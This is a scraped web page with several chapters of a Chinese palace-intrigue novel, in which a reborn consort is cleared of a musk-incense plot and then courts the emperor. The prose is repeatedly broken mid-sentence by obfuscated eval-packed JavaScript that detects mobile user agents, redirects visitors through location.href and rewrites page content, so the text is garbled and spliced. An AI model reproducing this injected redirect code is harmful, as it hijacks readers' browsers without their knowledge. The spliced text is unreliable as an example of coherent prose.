0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330699|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无人疑心臣妾。不过嬷嬷们提到‘麝香’,臣妾便想起前些时日得到一物。” 舒贵嫔轻轻抬手,她身畔的宫女便从袖中取出一个匣子,众人定睛一看,却俱是一怔:这匣子,同方才薛宫正拿出的那只有七八分像,不过更华贵些。 再将盒盖打开,其中亦盛着乳白色的香膏。 “前些日子,钟粹宫的蕙选侍深夜求见臣妾,说是偶得一物,不敢擅用,思来想去,只想献给臣妾。臣妾久在病中,本不该见年轻妹妹,没得传染了晦气。可蕙选侍十分诚心,臣妾这才让她进了昭庆殿大门。” 说完这一长串话,舒贵嫔复又呛咳起来,喘息连连,面色涨红,只抬眸示意那手持香盒的婢女。 那婢子是伺候舒贵嫔的老人了,见势福一福身,道: “奴婢白术,乃是昭庆殿掌事宫女。那夜蕙小主独身前来,娘娘本不愿见,怕过了病气给小主。可蕙小主说白日同娘娘有一面之缘,见娘娘嗽喘不止,特意炖了陈皮雪梨羹来,娘娘这才觉得不好拂了小主的心意,叫奴婢们开的门。” 她将那匣子举高,“娘娘体弱,素日除了汤药,不常吃旁的点心甜汤。可那日小主熬的雪梨羹,娘娘竟用进去了大半碗。见娘娘用得还算香甜,蕙小主这才拿出这香,说是钟粹宫的胡小主所赠,特来献给娘娘。” 白术说罢,舒贵嫔长叹一声,“臣妾久病之躯,这上等的好香放在臣妾这里,也不过白白浪费。可谁料到正是蕙选侍这点好心,此刻还了她清白。” 她徐徐道:“蕙选侍来献香料那日,杜侧妃还未进宫。她怎能未雨绸缪,料到要早早撇清干系呢?况且她并未居功,还老实说了那香是胡美人制的,与今日的口供也对上了。” 崔皇后颔首道:“胡氏是姐姐房中侍女。当年还在东宫时,便很擅长调弄香料。” 此言一出,胡美人当即汗流浃背,跪在地上叩首道:“皇后娘娘明鉴,嫔妾一番好意,断没存那等害人的心思啊。” 德妃讽笑一声,“哦?虽然没害着杜侧妃,可蕙妹妹年轻靓丽,往后若承了宠,留那含了麝香的香料在身边,也是个祸患呢。” 胡氏这才咬牙道:“嫔妾于制香一道颇有研究。那香中虽含麝香,但剂量有限,即便是直接使用,也不至于伤了身子。” 德妃悠然道:“原是这样么?可方才胡美人说蕙选侍以那香害人时,似乎很是言之凿凿呢。” 胡美人勉强讪笑道:“嫔妾一时慌乱,这才失言。” 皇帝凝声道:“事关重大,胡美人往后还是想清楚了在说话罢。”言毕,方把视线转向颂兰,“蕙选侍,你可还有话要说?” 颂兰道:“此事确如贵嫔娘娘所言。而嫔妾献香当日,是因着不慎伤了手,传召祝太医来替嫔妾诊治,就顺便请祝太医验看了此香。祝太医说‘君心笑兰’香用料名贵,嫔妾实在惶恐,左思右想,唯有献给贵嫔娘娘方不算辱没了此香。当时借花献佛,只想着结一善缘罢了……” 她再度俯身拜下,“未曾想因着此事再次劳动娘娘贵体,嫔妾心中有愧,还请陛下、娘娘恕罪。” 李徴道:“你本是一腔赤子之心,何罪之有。”又道:“你既有冤,何苦跪这半天。” 崔皇后忙道:“给蕙选侍赐座。” 立刻有小内侍又搬了一把椅子,置于舒贵嫔身后。颂兰扶着黄梨木的把手坐下,只觉得一双膝盖已麻得失了知觉。 17. 兰心 皇帝道:“传祝诚和章之同再来验过此香。”他又看了一眼强撑着端坐在椅子上的颂兰,“顺便再拿些活血化淤的伤药来,给蕙选侍带回宫去。” 皇帝突如其来的莫名关心,顿时便引得韩妃这个掐尖的又吃起了飞醋。 “蕙妹妹可真是因祸得福。此事也真是巧,舒贵嫔一向不问世事,连六宫请安都次次缺席,今日倒是好性子,扛着身子不爽也要前来替蕙妹妹昭雪。” 舒贵嫔轻轻呼出一口气,微笑道:“请安乃是礼法规矩,若这副病体还能撑着,臣妾亦不愿失了礼数。”说着,不由得流露出伤感情态,“臣妾残躯,本不该生事碍眼。可难得这深宫中还有人记着臣妾这号人,臣妾一时感怀,这才不顾医嘱,亦要前来……” 说着,又是连连咳嗽,直逼得眼中沁出几滴清泪。 见触动舒贵嫔的伤心事,崔皇后沉了脸色,“舒贵嫔不来请安乃是太后允准。本宫与太后娘娘都无异议,韩妃这是要越俎代庖么?” 见皇后动气,韩妃这才蔫了,讪讪道:“臣妾心直口快,并无逾越之意,皇后娘娘恕罪。” 李徴大约是心情很差,难得又叱了一句,“若是知道嘴上没分寸惹人不快,韩妃就该好好注意着,莫要多嘴多舌惹人嫌。” 韩妃忙道:“是。”可眼神直直扫过座下的颂兰,已是含了几分狠意。 颂兰心内默然无语。今日之事一过,她必已招致六宫注意。只是不知其中有几人想结善缘,又有多少嫉恨。 得了皇帝传召,祝诚和章之同很快便背着药箱回到殿内。经过颂兰时,见她已于大殿中央被赐座,祝诚脚步有些微停顿,不过很快便掩饰了过去。 两位太医分别验过薛宫正和白术呈上的香膏,均道:“白术姑娘所持的这份兰香,其中麝香含量不少。而薛宫正手上的这份,只有兰花香气,却劣质不少,更无麝香和香。” 见事态已基本分明,德妃不咸不淡地补了一句,“今日蕙选侍的座位恰巧在杜侧妃身旁,也真是巧。方才杜侧妃突然见红,若不是蕙妹妹机敏,叫侧妃磕在地板上,只怕会更凶险。” 就这般还要挖个坑,这样的软钉子一向是德妃的风格。颂兰双手交叠,不疾不徐道: “嫔妾幼时在家中曾遇到过姨娘落红,当时情状亦是万分凶险。所以今日一见杜侧妃,不过下意识反应罢了。孩儿总是母亲的心头肉,情急之下,嫔妾只想着要护着孩子……” 她说着,似有些赧然,双颊飞上两片薄红,一双剪水眸却是微微出神,似是想到了远在江南的姨娘。 德妃抿唇一笑,“难得后宫中还有蕙妹妹这般水晶玲珑心的良善人。不怪舒贵嫔顶着不适也要来替你沉冤。” 颂兰轻笑道:“娘娘这话折煞嫔妾了。自嫔妾入宫以来,遇到的姐姐们皆是温婉和善无比的,何来‘难得’一说呢。” 李徴垂眸看向李徥,“六弟,朕后宫中人均已查验完毕。有些王府家私,六弟不若回府再细查,莫要轻纵了那等包藏祸心之人。” 李徥眸中闪过狠戾,“若被臣弟揪出府上有暗害芫娘的小人,臣弟必将其拔骨抽筋,方解心头之恨。” 李徴淡淡道:“杜侧妃乃是良善性子,有些事留一线,也算是为了给未出世的孩儿积德。” 李徥道:“臣弟不信因果循环,亦不信神佛报应,只信手中刀兵。”他拱手,“芫娘还在偏殿休息。臣弟去看看。皇兄,告辞。” 说罢,也不等皇帝再发话,竟自顾自站起身离去了。 崔皇后凝眉道:“六弟一向至情至性。今日之事陛下已有裁夺,本宫便不再多言。只是诸位姐妹都受了惊吓,明日便教尚宫局给各宫都送些布匹珍珠,皇上看可还妥当。” 皇帝颔首道:“此事皇后与德妃看着办便好。” 说罢便起身离席,皇后亦提了裙裾,由宫女们擎起金扇金瓜的皇后仪仗,跟在皇帝身后离去。 霜降上前扶起颂兰,眼中已有泪光莹然。 “小主,今日可吓死奴婢了……” “没得别总将‘死’字挂在嘴边,犯谶。” 霜降忙道:“是,奴婢失言。” 颂兰扶着霜降的手,“往后在宫中要经的事还多着呢,这点小风浪算什么。” 她膝上酸麻,自然走得慢了些。眼见着萧昭仪失魂落魄地离去,容常在亦是踉踉跄跄由侍女扶着出去的。颂兰心中正思量着,身后却传来了熟悉的清苦药香。 舒贵嫔慢慢行来,二人不自觉地慢了步伐,行在众妃嫔之后。还是颂兰率先打破沉默: “今日之事,多谢娘娘为嫔妾解围。” 舒贵嫔温声道:“本宫不过将实情说了,怎担得起妹妹的一句谢呢。”说着,只侧首细细端详着颂兰样貌。颂兰亦不恼不羞,只静静由着贵嫔打量。 半晌后,舒贵嫔展颜一笑,“真是脱俗。本宫长久卧病宫中,好久没见过外头的新鲜事。见妹妹这般绝色的佳人,一时间看得痴了,还望妹妹不要介意才好。” 颂兰微笑,“天家后院佳丽如云,嫔妾蒲柳之姿,娘娘谬赞了。” 二人行至殿外,舒贵嫔便由白术扶着缓缓上了轿子。贵嫔半掀起轿帘,对颂兰微笑道: “今日再见,本宫颇觉与妹妹投缘。三日后若妹妹不嫌弃,可来本宫的昭庆殿一叙。” …… 咸福宫。 咸福宫正殿上悬一张牌匾,正是太祖皇帝亲手题就的“临华殿”三字,大气雍容,乃是太祖朝宠妃华贵妃所居宫室。自那以后,咸福宫正殿历朝历代皆赐给皇帝宠妃居住,殿内自是富丽堂皇,华贵万分。 辅一回宫,嘉妃——现在是萧昭仪了,便关起殿门,狠狠地将博古架上的一只白玉花樽掼在了地上。 官家贵女,常分三六九等。而宫中的贵妃贵嫔们,其间富贵参差,更是犹如天堑。梁宝林砸坏一支羊脂玉簪子,尚且要心疼吵嚷,可在咸福宫中,通体无暇的一只羊脂玉瓶说砸就砸。 而四周垂手静立的宫人们丝毫不以为怪,只有两个小内侍默然上前,轻手轻脚扫掉地上摔落的碎片。 萧昭仪狠狠坐在美人榻上,看着满地狼藉,犹不解气。恰巧素兰上前来奉茶,她一接过茶盏,便怒道: “上这么热的茶,要烫死本宫么?” 说罢一扬手,那轻巧的瓷盏一下便被甩落在地,飞溅的热茶大半泼到了素兰身上。素兰下意识呼痛,可才从口中发出“嘶”一声,又生生憋住,只眼眶中盈了两汪泪,到底不敢落,咬着牙,低着头,“扑通”一声便跪在了地上。 萧元姝抬手便是一巴掌打在素兰面上,镶珠嵌玉的护甲一下在素兰面上刮出一道血痕。 “你这贱婢,名字里同那贱人一样都有个‘兰’字。那日在景阳宫门前,若不是她巧言令色,本宫好端端地怎么会想着去争这劳什子权!” 她恶狠狠转向素心,“还有你,你是母亲给我准备的家生婢子,可竟连你也向着外人。这端午的主意有大半是你出的!” 她愈说愈气,只恨得一下将小机子上的杯碟碗盏统统扫落,“素心,莫不是连你也背叛了本宫,干起了那吃里扒外的勾当!” 说着,她抬起脚用力踹在了素心肩上。素心一个不稳,险些扑倒在地,裙摆堪堪扫过那杯盘粉碎的狼藉。 素心摇晃一下,稳住身形后,只是缓声道:“娘娘仔细着脚疼。” 而那在外头叱咤风云,跋扈狠戾的萧昭仪,竟索性趴在桌上呜呜哭了起来。 “你们都背叛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337596|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本宫!皇上、皇上他也不信本宫……” 素心乃是萧夫人乳母的女儿,萧府如假包换的家生子。萧元姝还是个奶娃娃时,素心便养在她院中,一路陪伴小姐长大。 都说慈母多败儿,在闺中时,萧夫人便将大小姐捧得如宝珠明月一般,养成了个半点苦头都没有吃过的娇憨性子。 眼见小姐伴驾已近六年,却仍无一点长进,素心亦不由得默然无语,从心内发出了一声悠长的叹息。 而萧昭仪仍兀自哭着,“皇上他还降本宫的位分……昭仪昭仪,说得好听,可谁不知道昭仪位分不缀封号,皇上这不是变相地削本宫的封号嘛!” 她泪眼盈然,即便哭得毫无顾忌,亦是个胜西子三分的娇娇泪美人,“当初本宫进东宫时,皇上亲赞本宫‘柔嘉懿范’,这才亲赐了‘嘉’字做本宫的封号……” 素心跪在地上,垂首道:“皇上本不愿迁怒娘娘,奈何今日平西王大发雷霆,王爷是同姓近臣,纵使皇上有心回护您,亦不能不顾手足的情分。” 萧元姝抹了把泪,恶狠狠道:“李徥鲁莽狷介,简直像块又臭又硬的烂石头,从前他在萧家军中时,本宫就瞧不上他!” 复又问素心:“他的正妃是萧氏哪个旁支的女子?” 素心低眉答道:“是您堂伯父的嫡长女,清娘子。” 萧元姝嗤一声,“不知哪门子的穷亲戚,本宫没印象。也是个无用的。枉坐正妻之位,却连夫君的心都抓不住,叫那贱户出身的杜芫娘踩在头上作威作福,简直有辱我萧家门楣!” 见萧昭仪仍是这般满心满口情情爱爱,素心亦只得顺着她的话头,“是。清娘子嫁入王府是去岁的事,您当时已在宫中,夫人便没特意知会您。” 外头悄然进来个小婢,战战兢兢将茶盘放在殿门口。素心跪在地上,膝行过去取了,又膝行回来,将那盏茶举过头顶,奉于萧昭仪眼前。 “娘娘心情不爽,饮一盏清心祛火的莲心薄荷茶吧,加了蜂蜜和碎冰,不会太苦。” 时值初夏,本不是莲心的时节。那莲心乃是去岁收集来,由小宫女的纤手一粒粒剥出,晾至微干,储在冷窖里,四时都拿冰镇着,这才保留了一丝清鲜的苦味。 而这般靡费,也唯有萧氏才有财力撑起。落在手中,不过一盏清翠的茶汤,谁又知其中盈漾的乾坤呢。 萧昭仪冷着脸,三寸长的镂金护甲上犹见血痕,只恨恨盯着前方,并不接那茶。 素心又道:“南线战事吃紧,国公爷用兵神勇,皇上……定然不会教您委屈太久。” 萧昭仪眉心一跳,“你的意思是,皇上对本宫的好,全是看在父亲哥哥们的面子上?” 素心忙道:“奴婢绝无此意。皇上对您的用心六宫皆知,不然今日也不会将容贵人推出去,顶了重罚。” 说到这茬,萧昭仪心情才稍微好转了些。她斜倚在湘妃色的软榻上,还穿戴着嘉妃的节庆衣袍,华美隆重,娇艳旖旎。她素手轻轻掀起茶盖,就着素心的手,将杯中冰冽的茶汤慢慢喝了,又冷哼一声。 “起来吧。” 素心这才起身,膝上已跪得有些发麻,面上却全无痕迹,身形亦是稳如磐石,好似习以为常般,恭敬道: “娘娘圣眷优容,皇上对您的发落举重若轻,实是为了堵悠悠众口,这才是爱您、护您呢。” 萧昭仪斜靠在美人榻上,娇慵地笑了。 “那是自然。”她吩咐素心,“叫小厨房晚上不必上那许多点心甜汤了。本宫没胃口,吃不下。” 旋即又转了脸,阴狠地盯着仍战战兢兢跪在地上的素兰,“当初萧府给你赐个什么名字不好,偏要带个‘兰’字,真是晦气。这贱名叫人讨厌,你就在这跪两个时辰,好好反省吧。” 18. 邀宠 浣花坞内,霜降抹着药油,亲自上手给颂兰揉膝盖。 她心疼道:“小主皮肉细嫩,这才跪了半柱香时间,便伤成这样。” 那双玉一般柔软润圆的膝盖上蔓延开大片青紫,霜降光是看着便觉心惊。可颂兰却仍是淡淡的,好似那般伤痛于她而言,只是小节。 莲儿在一旁看茶,闻言凑过来瞧了一眼,端详道: “这伤只是瞧着吓人,但只在皮肉,未伤筋骨。咱们勤快些,这两天好好给小主把药油揉开,过几日就好了。” 正说着,小卓子自外头匆匆进来,见殿内人多,只住了口,恭谨站着。眼见莲儿放好茶缓步出去了,这才上前说话。 “小主,前些日子您让奴才留心着咸福宫的动静,今儿听说昭仪娘娘身边的大宫女,被罚跪了两个时辰。” 他低声道:“昭仪娘娘出手阔绰,咸福宫方圆百步都是她的亲信,治理极严,简直如铁桶一般。这消息还是因着奴才有个信得过的人在太医院当值,见咸福宫的下人去取伤药,这才漏了些许音信。” 咸福宫除了萧昭仪,便只住了个许更衣。前世,颂兰对许氏印象不深,不过这位许更衣与萧元姝应该并不亲近,否则以萧氏荣宠,她的亲信最次也该混个嫔位做做。 颂兰沉思道:“萧昭仪既然能做出无故迁怒下人的事,便知其不过鲁勇,并无御下之术。咸福宫滴水不漏,应当是有个信得过的人在替她管束。” 蓦地,颂兰心中浮现出一个人影。她望向小卓子,“萧昭仪身边得脸的大宫女只有两个,皆是‘素’字辈,萧府出身的家生子。不知这受罚的是素心,还是素兰?” 见小主心思转得这样快,小卓子面上却浮现出犹疑,好似一时有些难以启齿。见此情状,颂兰登时有了猜测,只凝声道:“你但说无妨。” 小卓子躬身道:“回小主,受罚的是素兰姑姑。据闻那日昭仪娘娘受罚回宫后,心绪极差,素兰姑姑侍奉时不够当心,这才触怒主子。不过亦有人说昭仪娘娘是怪素兰姑姑的名字不好……” 具体哪儿不好,小卓子没再往下说。颂兰轻笑一声,“不过得了皇帝一句话,就招得她如此做作。这消息想必也是有人故意透给你的——往后,咸福宫的事不必再打探了。” 萧氏沉不住气,一招一式都如小孩赌气一般。 素兰素心是萧昭仪的心腹臂膀,可她对下人非打即骂,任性泼辣,早晚出事。 何况萧氏在朝中根基深厚,即便要坍台也不在一朝一夕之间。眼下颂兰屈居选侍之位,还不够格对上高高在上的萧元姝。 颂兰纤手拨弄着茶盖,托腮沉思良久,便问霜降:“御花园何处有香花么?那日去舒贵嫔的昭庆殿,闻见殿中药气沉郁,又放有时令鲜花,想来娘娘应是爱花惜花之人。只是苦于久病,不便出行。” …… 御园南角。 暮春时分,正是柳绿烟暖,姹紫嫣红。翻月湖畔的垒砌假山上蔓生着薜荔藤萝,正散发着盈然的草木香气。湖畔栀子花绽作雪浪,间杂白芷杜若,皆是气味清新的白花。 熏风起时,吹落片片飞花,打着旋儿落入粼粼荡漾的湖水中,惊得池中红鲤倏然摆尾,搅碎一池云天。 颂兰携着霜降,只提一只小小的花篮,小心翼翼将枝头盛放的栀子花剪入篮中。 霜降有些可惜道:“尚寝局的司苑们管理上心,这花儿本是开得极好的。只前些日子下了几场雨,打落了不少花儿,实在可惜。” 颂兰折下一支栀子,随口道:“民间常说‘春雨贵如油’,倘若开年雨水丰足,那这年多半是个丰年——那才是能落在肚子里的实在。花花草草再美,不过也是供人赏玩的点缀。” 她抿唇一笑,“我虽爱花,却甚少伤景,没那么多文墨愁绪。” 她语罢,却半天不见霜降回话,辅一回身,才发现身后已站了个长身玉立的男子。一身玄色龙袍,正是当今天子李徴。 她忙福身行礼:“嫔妾见过皇上。” 又道:“嫔妾失礼,小女子随意妄言,还请皇上莫怪。” “你这话赤诚可爱,何来‘怪罪’一说。起来吧。” 颂兰这才盈然起身,皇帝端详着面前娇嫩的女子,一身杏黄春衫,未施脂粉,却活脱脱是“清水出芙蓉,天然去雕饰”。 他眸色深沉,问道:“方才听你说起民间农事,似乎对此很是了解。” “嫔妾出身江南,家父是灵州县丞,虽不敢说‘爱民如子’,却也算得上关心百姓生计。田间地头,也是常去的。” 颂兰凝望着他,一双水眸澄澈如春湖,“不怕皇上取笑,嫔妾在家中耳濡目染,对此亦有些了解。” “哦?朕竟不知手下还有如此良吏。区区县丞之位是否委屈了爱卿,不若朕赏他个知州,还是知府做做?” 颂兰慌忙请罪道:“嫔妾失言,家父并无大才,亦无野心,能安居一隅做个父母官就很好了。” 她悄悄抬眼望去,见李徴虽不动声色,但眉眼间并无不豫之色,方又大了胆子,试探道:“嫔妾绝无邀功请赏之意,不过随口玩笑,还请皇上别当真。” 闻言,皇帝并不叫她起身,只悠然道:“凡入宫的女子,没有不想为家族争一争的,你倒急着撇清。”他顿一顿,见她蹲得吃力,身形微微摇晃,端的是弱不胜衣之态,又不免生了些许逗弄心思,“可撇清罢,方才说话又大胆得很,一点儿不避嫌。” 颂兰微微一怔,下意识答道:“嫔妾既已嫁入天家,便是皇家的姬妾。陛下是嫔妾的主君,在主君跟前叙说家事,嫔妾便没那么多顾忌的。” 李徴轩轩眉,扬声道:“你的意思是,你的家事亦是朕的家事——前朝武帝时外戚专权,曾有宫妃家眷在地方作威作福,以国丈自居,武帝震怒,降下雷霆之罚,牵连者众多,朕深以为戒。” 颂兰屈膝道:“若有此举,那自然是怎样罚也不为过的。” 她凝声道:“嫔妾以为,这天下乃是陛下的天下,家国一体,国事便是陛下的家事。嫔妾口中的家事关乎民生之计,这才敢同陛下说嘴几句。不过,若是府宅阴私,里勾外联之事,嫔妾是断断不敢抬出来扰您请听的——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347407|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她语调渐软,“况且嫔妾尚未蒙召幸,您贵人事忙,怕是连嫔妾是谁都记不清了,嫔妾又怎敢恃宠生骄——那也得有宠才行呀。” 她俏脸一红,似是又后知后觉自己失言,“嫔妾绝无僭越之意,还请、还请皇上恕罪。” 说到最后一句时,已有些脱力,膝下一软,冷不丁便朝一旁栽倒下去。她短促惊叫一声,不由得闭了眼睛,可预想中的疼痛并未袭来。双臂被一双温暖的大掌扯住,紧接着,后腰便被揽进一条有力的臂膀之中。 颂兰心尖一颤,半闭着眼,微微睁开条缝,便见面前金龙戏珠的暗纹,离鼻尖仅有寸许。呼吸间,龙涎香的气味似有若无闯入鼻腔。她不敢乱动,只尽力稳住自己,矫饰出符合豆蔻少女的羞赧情态。 一番动作,不免打翻了那只小巧花篮。雪色香花簌簌坠落,跌在二人足旁。 颂兰声如蚊讷,娇娇唤道:“皇上……” “膝伤可好了?怎的这便出来乱动。” 颂兰将嘴一瘪,委屈道:“还有些疼呢。” 又垂眸望向地上散落的栀子花,“前些日子舒贵嫔替嫔妾解围,嫔妾心中感激。那日去昭庆殿送香时,见贵嫔亦是爱香惜香之人。不过患有咳疾,闻不得熏香。栀子花香清润,嫔妾便想着送些鲜花去给贵嫔插瓶玩,亦不负这春光曼妙了。” “这点小事,教尚寝局的掌苑们安排便是了。” 颂兰轻声道:“鲜花本不是什么稀罕物,只嫔妾感念着贵嫔好意,想投桃报李罢了。” “朕亦赐了你伤药,怎的不想着回报朕呢?” 颂兰讶然,“那药竟是皇上赐的么?嫔妾还以为是宫人们到太医院领的。” 李徴有些想笑,她这般做作,虽有些拙劣,可意外地不叫他讨厌。 “你方才才说,自己无宠。若没有朕的吩咐,以卿的位分,领不回这样好的药。” 怀中软玉温香,胸前一紧,是她双手附上来,轻轻拽住他衣袍上做工精细的龙纹。 李徴垂眸看向怀中人。少女眼波含情,眼下小痣鲜红欲滴,唇若樱瓣,软声道: “嫔妾晓得,在宫中唯有依附陛下,才是正道呢。” 言罢,面颊渐染上酡红,只羞怯垂下脸去,一味盯着绣鞋尖上撒花的纹样。 李徴朗声一笑,四指托起颂兰的下巴迫使她抬头。周围的侍婢内监早已悄无声息地退走几丈远,繁花丛间,她柔弱地攀附在他胸前,宛若一枝蔓生的纤软菟丝。 少女双颊醉红,可那双眼却一眨不眨地同他对望,其中闪动着勾/引,同不加掩饰的野心欲望。 他渐渐收敛了笑容,盯着她道:“后宫中女子大多爱表现得无欲无求。怎么朕要赏你父亲你那般推阻,给自己邀起宠来却这般卖力。” 她浅笑,“嫔妾方才不是说过了么——您是嫔妾的主君,雷霆雨露皆是君恩,嫔妾只愿为您所用。位分也好,恩宠也罢……” 她的声音既像在乞怜,却又像是蛊惑,“这天下皆是您的天下。莫说宠爱一个女人,只要是您想做到的事,有什么是不可以的呢?” 19. 春意 春雨就那么毫无征兆地淅淅沥沥落下来。颂兰下意识往皇帝怀里又钻了钻,龙涎香的气息兜头盖脸罩下来,令她有些熏昏沉醉。 做完才发觉,那动作好似太熟稔了些——前世,她到底同皇帝做了十年夫妻。被她亲手鸩杀时,皇帝才三十四岁,正是壮年。 而今她初入宫闱,皇帝不过双十年岁,仍是金声玉振、丰神俊朗的青年。虽早已不是未经人事的处子,却仍被她这“不知羞耻”的动作闹得心波一荡。 隔着春袍,颂兰感受着皇帝温热的体温。那胸腔中的心跳陡然加快,不过片刻,却教她莫名心安。 李徴这才后知后觉,怀中少女好似把他当成了遮雨的廊檐,宛若一只雏燕般蜷在他胸前。而她一低头,便露出了鬓边簪着的两朵细小迎春,与杏黄裙衫相应,被雨丝沾湿,在迷蒙细雨间微微摇颤。 张宝微躬着背,几近无声地走过来,将一把厚重的油纸伞递到皇帝手边。 玲玲如珠帘的雨幕中隔绝出一小块干燥的空间。李徴只一个眼神,张宝便眉心一跳,极快地退走了。 霜降不知何时亦悄无声息地不见了。颂兰怯声道:“嫔妾没带伞呢。若没遇见陛下,怕是要湿淋淋地回去了。” 皇帝气息有些不稳,随口道:“哪儿就这么可怜了。前边便有亭子,去稍躲一躲,待雨停了再回去又有何妨。” 她娇怯道:“嫔妾只是觉得……能得幸遇见您,是极好的事。” 历朝历代,后宫之中皆不乏争宠之举。那些如娇花般的女子对他趋之若鹜,出尽百宝,只为求圣恩垂青。 他本不大信今日之事只是巧合。李徴并非重欲之人,可她容色楚楚,又这般知情识趣,不免叫他动容。 一瞬静默无言,雨色青青,雨气中隐隐能闻到草木与白花的香气。颂兰轻声道:“只可惜了嫔妾想采给贵嫔娘娘的花。” 皇帝哑声道:“她若喜欢,朕便教尚寝局多送些去便是了。” 她娇笑:“嗯。有花堪折直须折,方不负好春光呢。” 话音未落,他的吻便骤然落下来。她闭上眼睛,感受着这双熟悉的薄唇带来的深吻。他还这般年轻,吻时气息缭乱,蕴着少年人独有的生涩同野蛮。 她从喉间逸出一声嘤咛娇呼。那把伞不知何时坠落在地,细雨顷刻将一切缠绵旖旎尽数揉进一张湿画里。 娇花轻颤,细瓣柔柔打开,又荡进翻月湖心,搅弄起涟涟水痕。天地皆笼在茫茫雨幕之中,只余一把纸伞,在原地滴溜溜地转着圈。 …… 是夜,浣花坞卸灯。 按例,她是该被一条锦被一裹,赤身裸体抬进仪元殿的。可方下春恩车,便有个笑容和气的嬷嬷迎上来,福一福身,道: “小主,皇上今日事忙,还在养心斋批折子。太后娘娘体恤陛下,特意吩咐尚食局制了一盅陈皮雪梨汤,最是清心明目的,还请小主给陛下送去。” 颂兰一愣,那嬷嬷已将一只朱漆祥云如意食盒递到了颂兰手中。 她忙福身道:“谢陛下、太后娘娘体恤,赏嫔妾这样的体面。嫔妾定当恪守本分,尽心侍奉皇上。” 说罢,褪下腕上一只青玉扁口镯子塞到嬷嬷手里,“我初次侍寝,身上未带荷包,一点心意,还请嬷嬷收下。” 那老嬷嬷见此,也不推辞,只笑盈盈地将镯子收入袖中,朝颂兰微颔一颔首。 握着朱漆食盒的提手,颂兰手心微微沁出薄汗。换做旁的新入宫的小主,或许不认得这嬷嬷。可她前世伴驾十数年,一见便认出这是皇帝身边的御前女官毓琇姑姑。 此番是皇帝的意思,不过借了太后作托辞。 养心斋乃是皇帝寝宫的偏殿,作为闲时饮茶读书,弈棋作画的所在。偶尔政务繁忙时,也会在此看几本折子,不过较之御书房,没那么正式,亦不算是理政之处。 颂兰屏息凝气,轻手轻脚地踏入殿中。 养心斋布置简素,只以一道竹青软帷隔开外间与内室暖阁。里间未置金玉等华丽陈设,只皇帝的书桌背后墙上,悬着一张《文竹雪禽图》真迹,虽价逾千金,然显在面上者,只是一味的雅致古朴。 至于其余随手搁置的端溪砚、汝窑瓷、瓷青纸、羊脑笺,更是风流蕴藉,将破天的富贵隐于其中,端的是壶中日月之道。 时至暮春,室内未烧地龙,四下门窗紧闭,隔绝了微凉的夜风。蟠螭瑞兽香炉中燃着皇帝惯用的龙涎香,浮漫出袅袅轻烟。 皇帝喜静,室内并未放人伺候。御前内侍皆垂首静立于竹帷之外。颂兰掀开帘子进去,一眼便瞧见皇帝已换了家常服色,正坐于书案前,专注地读着黄绢封皮的奏折。朱笔置于手边,墨痕尚新——皇帝勤政,并未仿前朝帝王设“秉笔太监”等职,于朝政上事事亲力亲为。 颂兰悄然走上前去,将食盒轻轻放在紫檀木桌案上。 皇帝并未抬首,仿佛她的存在只是空气。一片静寂中,只听得到他翻阅纸张的沙沙声,扰得她心绪微乱。 不过颂兰并未作色,只行至那错金瑞兽香炉前,掀开炉盖,轻轻投了一把粉末进去。片刻后,清苦气息便柔柔地蔓延开来。 皇帝这才抬眸望了她一眼。 面前女子穿了件出炉银薄衫,那本是极娇嫩的颜色,可她面白如脂,这挑人的颜色愈发衬得她肌肤胜雪。为着侍寝准备,她并未盘复杂的发髻,一头青丝只在脑后以丝绦束成一束,颇有些娇慵风情。 颂兰婉声道:“听闻您理政辛苦,嫔妾特意问御前公公要了些干薄荷叶来。随香一同焚了,最是清新提神的。” 李徴搁了奏折,递给她一个饶有兴味的眼神。 “旁的女子准备侍寝,都想着能早些安寝。你倒好,盼着朕做个夜猫子?” 颂兰微红了脸,却不畏他,更顶了一句道:“总之要荒唐,白日也荒唐过了。嫔妾妄度圣意,想着您英武圣明,应当不是那等……” 她咬唇,“重,欲,之,人。” “啪”的一声,是他把奏折甩在桌面上。那声响不轻不重,可皇帝神情冷肃,眼角眉梢流露出不怒自威的寒意。 颂兰觑着他神色,不情不愿地往地上伏拜。 翻动折子的手停了,一时间连那纸页摩擦的沙沙声都消失了。空气里安静得落针可闻,唯有二人的呼吸声在弱弱地绞缠。 虽跪着,可她并不大服气,在地上伏了一会儿,又撑起手肘,偷看座上的皇帝。 被她瞧了一瞧,李徴只觉得隐隐要破功,不免咳嗽一声,压了嗓子道: “惑乱君心,你不知羞。” 一说完才惊觉自己失言。在这小女子跟前屡屡失态,她好似特别懂他,总知道什么样的言语手段最能勾得他弃甲丢盔。耳后腾地烧起暖意,他还未反应过来,便听她捂着唇,在案下咯咯地笑起来。 “陛下耳根子红啦。” 这一笑,便如春风吹绿杨柳岸,云销雪霁,将殿内僵硬的气氛融了个干净。李徴索性把桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 